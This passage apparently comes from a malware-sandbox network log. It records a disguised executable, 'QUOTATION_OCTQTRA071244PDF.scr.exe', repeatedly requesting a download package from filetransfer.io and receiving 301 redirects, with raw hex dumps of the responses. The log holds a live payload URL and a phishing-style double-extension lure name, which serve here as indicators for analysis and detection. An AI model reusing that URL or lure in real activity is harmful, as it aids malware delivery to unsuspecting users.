Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:06.300890923 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:06.498503923 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JyNCub5yrjSiCi38vqdgw68d1Zfj1gff5v2WvB%2BRK83aj9%2Bcsw2X9i10MH%2FCL%2BABUcwCxMZjK5OvuObEfEzN7W7lh%2BYMzG4QFQ%2FDoTiIfuetoBWG2um8YjwE3BL2VYwVxlA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c7cbcb6c461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:06.500510931 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:06.692747116 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ewvz%2BAPuXW48UTlNTBci4eHd%2FgVp2TnKA0PzADyn8g7W6CPjJRIqKockDEztxaavt5z1JwtYZ9LrTzqERalt3NRvhQKH8LmDm6tR07Ig%2BadgaCPIjY3ba8e35nnSwzuhx%2Bg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c7deda4c461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:06.694576979 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:06.897041082 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WxqndAGl6LvRP4t%2Bz3XPexSpz6ad8ZDXMHOwkQ27MtARt8ILqACDPJbVH%2B%2B62presOUV%2BvC8CtY9A1%2BxwaFG5khK7ErUE3uheLYxDiCvOV1j1tvbTVlBmm7ss64u%2FfLBlq4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c7f2ec6c461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49756	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:08.267957926 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:23:08.927335978 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UGndUMvROh055wg%2BCLq6EKX8Tj9BV87kbiVZd%2BwhoM%2BVkbvWesXhb%2Bhpjp%2BbchIuSpCQs0iqoX8U8KFNQOK6Z%2Fdf4ou5VYikobuCouTWWICZZuhtjjsBPioU8z6QuGCt2Ao%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c8b3b1143f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:08.929250956 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:09.127707958 CEST	843	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ts%2Fjro4S8KB9pxv8dnf558L%2FR7T%2Fv0U%2BND2UrwrxLhpszJb1f8Ejpcz%2BylDSzUL0qIS58Z9OUBAn8WWfeC2cASkPFyTMzX6kT8hOnvM%2F%2FsxGsPvD1QtIRO%2B9Fe4CEM%2BqIBw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c8d1cc143f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:09.129229069 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:09.324053049 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HITLYogR6H4riuYYsq7F5uQwS%2FEMOP2u41c9dWJaE%2B3Y58SDkzhJLyM2Zv9%2BKmD914e4bKrsFq1KMdUTCI%2FXmXR%2FuF4fdbEQZBUUnXd%2BxLs74j6gh4mELsNKNoEsJy5Yt4o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c8e5da743f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:09.324662924 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:09.523525000 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YOjIEoj9%2FTXeoGFcJbmLsJ0QZ6xUAdcmRcxboi4haT86Pfbj9IUxf2JhiF91BLMwwDgp2OuMCXO8JSqmRWxOmbPEPZ27g77ll9Ly5fmowZtL7r8PbbRzzb1b8ZxtqiM%2FN9g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c8f8e5343f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:09.525285006 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:09.720657110 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TuzBx%2B%2FrwqHCQXA7XNJ1UlazuLgu%2FlJEpPmOmKKQO7a6lBrKdxI4s2%2FeE1hB9px4IfAa6Zky1jY6WuLVNiPK0w675Tqtc18ArUfWLFU%2F1CSl30SBPkB6wzhs365jlX8cTQE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c90cf3543f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:09.722387075 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:09.916055918 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TTEWKXgQ8zeL6%2Fbf0%2BiBiK1h%2FgzQ5AsB%2F4%2F87K8Bo8BdgLIc4dJZzfW1nSsTRNFc45Hzj9CCILiffekzLWF%2B0o9a3iRUWsPA%2BTEK3X0adFLyc1DN5fk2U6AWqXDNGQ8k1FE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c92080943f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:09.917824030 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:10.111258984 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8IHEWbtAfCgIpGqRxphXICd%2BmwkvdvW47x6OaFVsyKg9ftA4L0SuMK%2F8HzDR5Gko9pAlaJIX0cVSeTGTNOXye4co5HkuodJ4eU4TbJNi6wW%2BRj%2BQZfmxa7r3%2FLrZYSf7ov8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c9348db43f8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:10.132235050 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:10.325342894 CEST	658	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rN6JuiAaG0d%2FWB6Ls0rHGJ0h7LHRw1yByyi5QAizatZvIERO5RayWB3eHCZARs0rpAmUHOiilPp3fm1dkpeQlrdIcV9HPKW1nofTMfTdycsGP%2BoF%2F3XoX8IFKvlv6U3Khk0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c949a1d43f8-EWR
Oct 4, 2024 11:23:10.460057974 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49765	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:10.467854023 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:11.017556906 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PNdbHHyY7x2Ekml4VAAKQzOY28fwmskh%2FSloBvX78e6878rwW8oIZ5XAEZO27q1JEiYBpO6OGvnqP7%2FUsGHpx7l5zudqRhHOYbNaKQlxvSGwZ3cN38v%2BJaeC2FoDgTQFKws%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c98eff9c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:11.019588947 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:11.296077967 CEST	873	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uiHxKmyUAhwdo1BPCGOjGh%2B%2FiklGbiBktTIjfLv5IbQiPoTlbanuyAxveqNj6YsAVJ%2BPUC3vQKE94qleIi%2BQ1MBNFohjD%2B%2Bd%2FeKcX%2BN4vG2jR%2B9670tKwGxDZ5EqWAlIUGU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c9a28b0c343-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:11.296716928 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:11.492439985 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EwyqUA1SWqYXLQ72%2BKfVWYsl3qZkyN5dDTy7ggqTDe08AL0n1ANHl0Wm4Qe60lzroc8DrsXFb1cgKqayDnrIj74tbmmczPgG%2F7Q7YJ8zVdu5KqbOvHoEA1oMD%2FbcZ7tkbUs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c9be9c8c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:11.494278908 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:11.703136921 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EeIDW6fzsxu65yWo5bXDKcXhRK6YwOZtuBRPRp8S1p%2FNuUAmIKxpMeQuWhIg%2B3bhQzc8seMU2vlwUOnZGRGvpH8TPNoezS6uftYoLwvzfqf2BxImuG8X6MTMJsRQhhdcefY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c9d3a69c343-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 